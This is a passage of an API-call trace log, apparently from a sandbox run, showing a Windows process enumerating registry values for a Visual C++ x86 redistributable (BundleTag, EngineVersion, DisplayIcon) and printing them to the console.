(in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.159] GetConsoleOutputCP () returned 0x1b5 [0151.159] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.159] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.159] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.159] __iob_func () returned 0x7fefd702a80 [0151.159] _fileno (_File=0x7fefd702ab0) returned 1 [0151.159] _errno () returned 0x204bb0 [0151.159] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.159] _errno () returned 0x204bb0 [0151.159] GetFileType (hFile=0x50) returned 0x1 [0151.159] lstrlenW (lpString=" ") returned 4 [0151.159] GetConsoleOutputCP () returned 0x1b5 [0151.159] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.159] GetConsoleOutputCP () returned 0x1b5 [0151.160] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.160] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.160] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.160] __iob_func () returned 0x7fefd702a80 [0151.160] _fileno (_File=0x7fefd702ab0) returned 1 [0151.160] _errno () returned 0x204bb0 [0151.160] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.160] _errno () returned 0x204bb0 [0151.160] GetFileType (hFile=0x50) returned 0x1 [0151.160] lstrlenW (lpString=",,x86,14.0,bundle") returned 17 [0151.160] GetConsoleOutputCP () returned 0x1b5 [0151.160] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=",,x86,14.0,bundle", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0151.160] GetConsoleOutputCP () returned 0x1b5 [0151.160] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=",,x86,14.0,bundle", cchWideChar=17, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=",,x86,14.0,bundle", lpUsedDefaultChar=0x0) returned 17 [0151.160] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 17 [0151.160] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.160] __iob_func () returned 0x7fefd702a80 [0151.160] _fileno (_File=0x7fefd702ab0) returned 1 [0151.160] _errno () returned 0x204bb0 [0151.160] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.160] _errno () returned 0x204bb0 [0151.160] GetFileType (hFile=0x50) returned 0x1 [0151.160] lstrlenW (lpString="\n") returned 1 [0151.160] GetConsoleOutputCP () returned 0x1b5 [0151.161] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.161] GetConsoleOutputCP () returned 0x1b5 [0151.161] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.161] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.161] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.161] GetProcessHeap () returned 0x3c0000 [0151.161] GetProcessHeap () returned 0x3c0000 [0151.161] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0151.161] GetProcessHeap () returned 0x3c0000 [0151.161] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x28 [0151.161] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0151.161] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleTag", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.161] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleTag", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2) returned 0x0 [0151.161] GetProcessHeap () returned 0x3c0000 [0151.161] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x4) returned 0x3dee90 [0151.161] GetProcessHeap () returned 0x3c0000 [0151.161] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.161] GetProcessHeap () returned 0x3c0000 [0151.161] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x4 [0151.161] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleTag", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x2 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0151.161] __iob_func () returned 0x7fefd702a80 [0151.161] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.161] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.161] _fileno (_File=0x7fefd702ab0) returned 1 [0151.161] _errno () returned 0x204bb0 [0151.161] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.161] _errno () returned 0x204bb0 [0151.161] GetFileType (hFile=0x50) returned 0x1 [0151.161] lstrlenW (lpString=" ") returned 4 [0151.162] GetConsoleOutputCP () returned 0x1b5 [0151.162] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.162] GetConsoleOutputCP () returned 0x1b5 [0151.162] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.162] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.162] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.162] lstrlenW (lpString="BundleTag") returned 9 [0151.162] __iob_func () returned 0x7fefd702a80 [0151.162] _fileno (_File=0x7fefd702ab0) returned 1 [0151.162] _errno () returned 0x204bb0 [0151.162] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.162] _errno () returned 0x204bb0 [0151.162] GetFileType (hFile=0x50) returned 0x1 [0151.162] lstrlenW (lpString="BundleTag") returned 9 [0151.162] GetConsoleOutputCP () returned 0x1b5 [0151.162] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleTag", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.162] GetConsoleOutputCP () returned 0x1b5 [0151.162] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleTag", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleTag", lpUsedDefaultChar=0x0) returned 9 [0151.162] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.162] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.162] __iob_func () returned 0x7fefd702a80 [0151.163] _fileno (_File=0x7fefd702ab0) returned 1 [0151.163] _errno () returned 0x204bb0 [0151.163] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.163] _errno () returned 0x204bb0 [0151.163] GetFileType (hFile=0x50) returned 0x1 [0151.163] lstrlenW (lpString=" ") returned 4 [0151.163] GetConsoleOutputCP () returned 0x1b5 [0151.163] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.163] GetConsoleOutputCP () returned 0x1b5 [0151.163] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.163] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.163] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.163] __iob_func () returned 0x7fefd702a80 [0151.163] _fileno (_File=0x7fefd702ab0) returned 1 [0151.163] _errno () returned 0x204bb0 [0151.163] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.163] _errno () returned 0x204bb0 [0151.163] GetFileType (hFile=0x50) returned 0x1 [0151.163] lstrlenW (lpString="REG_SZ") returned 6 [0151.163] GetConsoleOutputCP () returned 0x1b5 [0151.163] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.163] GetConsoleOutputCP () returned 0x1b5 [0151.163] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.164] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.164] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.164] __iob_func () returned 0x7fefd702a80 [0151.164] _fileno (_File=0x7fefd702ab0) returned 1 [0151.164] _errno () returned 0x204bb0 [0151.164] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.164] _errno () returned 0x204bb0 [0151.164] GetFileType (hFile=0x50) returned 0x1 [0151.164] lstrlenW (lpString=" ") returned 4 [0151.164] GetConsoleOutputCP () returned 0x1b5 [0151.164] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.164] GetConsoleOutputCP () returned 0x1b5 [0151.164] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.164] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.164] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.164] __iob_func () returned 0x7fefd702a80 [0151.164] _fileno (_File=0x7fefd702ab0) returned 1 [0151.164] _errno () returned 0x204bb0 [0151.164] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.164] _errno () returned 0x204bb0 [0151.164] GetFileType (hFile=0x50) returned 0x1 [0151.164] lstrlenW (lpString="") returned 0 [0151.164] __iob_func () returned 0x7fefd702a80 [0151.164] _fileno (_File=0x7fefd702ab0) returned 1 [0151.164] _errno () returned 0x204bb0 [0151.164] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.164] _errno () returned 0x204bb0 [0151.164] GetFileType (hFile=0x50) returned 0x1 [0151.164] lstrlenW (lpString="\n") returned 1 [0151.165] GetConsoleOutputCP () returned 0x1b5 [0151.165] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.165] GetConsoleOutputCP () returned 0x1b5 [0151.165] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.165] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.165] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.165] GetProcessHeap () returned 0x3c0000 [0151.165] GetProcessHeap () returned 0x3c0000 [0151.165] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.165] GetProcessHeap () returned 0x3c0000 [0151.165] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x4 [0151.165] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.165] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EngineVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.165] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EngineVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x18) returned 0x0 [0151.165] GetProcessHeap () returned 0x3c0000 [0151.165] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1a) returned 0x3d5c30 [0151.165] GetProcessHeap () returned 0x3c0000 [0151.165] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0151.165] GetProcessHeap () returned 0x3c0000 [0151.165] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1a [0151.165] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EngineVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x18 | out: pdwType=0x29f700*=0x1, pvData="3.7.3813.0", pcbData=0x29f780*=0x16) returned 0x0 [0151.165] __iob_func () returned 0x7fefd702a80 [0151.165] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.165] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.165] _fileno (_File=0x7fefd702ab0) returned 1 [0151.165] _errno () returned 0x204bb0 [0151.166] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.166] _errno () returned 0x204bb0 [0151.166] GetFileType (hFile=0x50) returned 0x1 [0151.166] lstrlenW (lpString=" ") returned 4 [0151.166] GetConsoleOutputCP () returned 0x1b5 [0151.166] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.166] GetConsoleOutputCP () returned 0x1b5 [0151.166] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.166] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.166] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.166] lstrlenW (lpString="EngineVersion") returned 13 [0151.166] __iob_func () returned 0x7fefd702a80 [0151.166] _fileno (_File=0x7fefd702ab0) returned 1 [0151.166] _errno () returned 0x204bb0 [0151.166] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.166] _errno () returned 0x204bb0 [0151.166] GetFileType (hFile=0x50) returned 0x1 [0151.166] lstrlenW (lpString="EngineVersion") returned 13 [0151.166] GetConsoleOutputCP () returned 0x1b5 [0151.166] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EngineVersion", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0151.166] GetConsoleOutputCP () returned 0x1b5 [0151.166] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EngineVersion", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EngineVersion", lpUsedDefaultChar=0x0) returned 13 [0151.167] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0151.167] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.167] __iob_func () returned 0x7fefd702a80 [0151.167] _fileno (_File=0x7fefd702ab0) returned 1 [0151.167] _errno () returned 0x204bb0 [0151.167] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.167] _errno () returned 0x204bb0 [0151.167] GetFileType (hFile=0x50) returned 0x1 [0151.167] lstrlenW (lpString=" ") returned 4 [0151.167] GetConsoleOutputCP () returned 0x1b5 [0151.167] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.167] GetConsoleOutputCP () returned 0x1b5 [0151.167] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.167] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.167] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.167] __iob_func () returned 0x7fefd702a80 [0151.167] _fileno (_File=0x7fefd702ab0) returned 1 [0151.167] _errno () returned 0x204bb0 [0151.167] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.167] _errno () returned 0x204bb0 [0151.167] GetFileType (hFile=0x50) returned 0x1 [0151.167] lstrlenW (lpString="REG_SZ") returned 6 [0151.167] GetConsoleOutputCP () returned 0x1b5 [0151.167] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.167] GetConsoleOutputCP () returned 0x1b5 [0151.168] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.168] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.168] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.168] __iob_func () returned 0x7fefd702a80 [0151.168] _fileno (_File=0x7fefd702ab0) returned 1 [0151.168] _errno () returned 0x204bb0 [0151.168] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.168] _errno () returned 0x204bb0 [0151.168] GetFileType (hFile=0x50) returned 0x1 [0151.168] lstrlenW (lpString=" ") returned 4 [0151.168] GetConsoleOutputCP () returned 0x1b5 [0151.168] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.168] GetConsoleOutputCP () returned 0x1b5 [0151.168] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.168] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.168] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.168] __iob_func () returned 0x7fefd702a80 [0151.168] _fileno (_File=0x7fefd702ab0) returned 1 [0151.168] _errno () returned 0x204bb0 [0151.168] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.168] _errno () returned 0x204bb0 [0151.168] GetFileType (hFile=0x50) returned 0x1 [0151.168] lstrlenW (lpString="3.7.3813.0") returned 10 [0151.168] GetConsoleOutputCP () returned 0x1b5 [0151.169] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="3.7.3813.0", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0151.169] GetConsoleOutputCP () returned 0x1b5 [0151.169] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="3.7.3813.0", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3.7.3813.0", lpUsedDefaultChar=0x0) returned 10 [0151.169] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0151.169] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.169] __iob_func () returned 0x7fefd702a80 [0151.169] _fileno (_File=0x7fefd702ab0) returned 1 [0151.169] _errno () returned 0x204bb0 [0151.169] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.169] _errno () returned 0x204bb0 [0151.169] GetFileType (hFile=0x50) returned 0x1 [0151.169] lstrlenW (lpString="\n") returned 1 [0151.169] GetConsoleOutputCP () returned 0x1b5 [0151.169] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.169] GetConsoleOutputCP () returned 0x1b5 [0151.169] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.169] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.169] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.169] GetProcessHeap () returned 0x3c0000 [0151.169] GetProcessHeap () returned 0x3c0000 [0151.169] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0151.169] GetProcessHeap () returned 0x3c0000 [0151.170] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1a [0151.170] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0151.170] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayIcon", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.170] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xb2) returned 0x0 [0151.170] GetProcessHeap () returned 0x3c0000 [0151.170] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xb4) returned 0x3e1c70 [0151.170] GetProcessHeap () returned 0x3c0000 [0151.170] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0151.170] GetProcessHeap () returned 0x3c0000 [0151.170] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xb4 [0151.170] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xb2 | out: pdwType=0x29f700*=0x1, pvData="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe,0", pcbData=0x29f780*=0xb0) returned 0x0 [0151.170] __iob_func () returned 0x7fefd702a80 [0151.170] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.170] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.170] _fileno (_File=0x7fefd702ab0) returned 1 [0151.170] _errno () returned 0x204bb0 [0151.170] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.170] _errno () returned 0x204bb0 [0151.170] GetFileType (hFile=0x50) returned 0x1 [0151.170] lstrlenW (lpString=" ") returned 4 [0151.170] GetConsoleOutputCP () returned 0x1b5 [0151.170] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.170] GetConsoleOutputCP () returned 0x1b5 [0151.170] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.170] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.170] fflush (in: 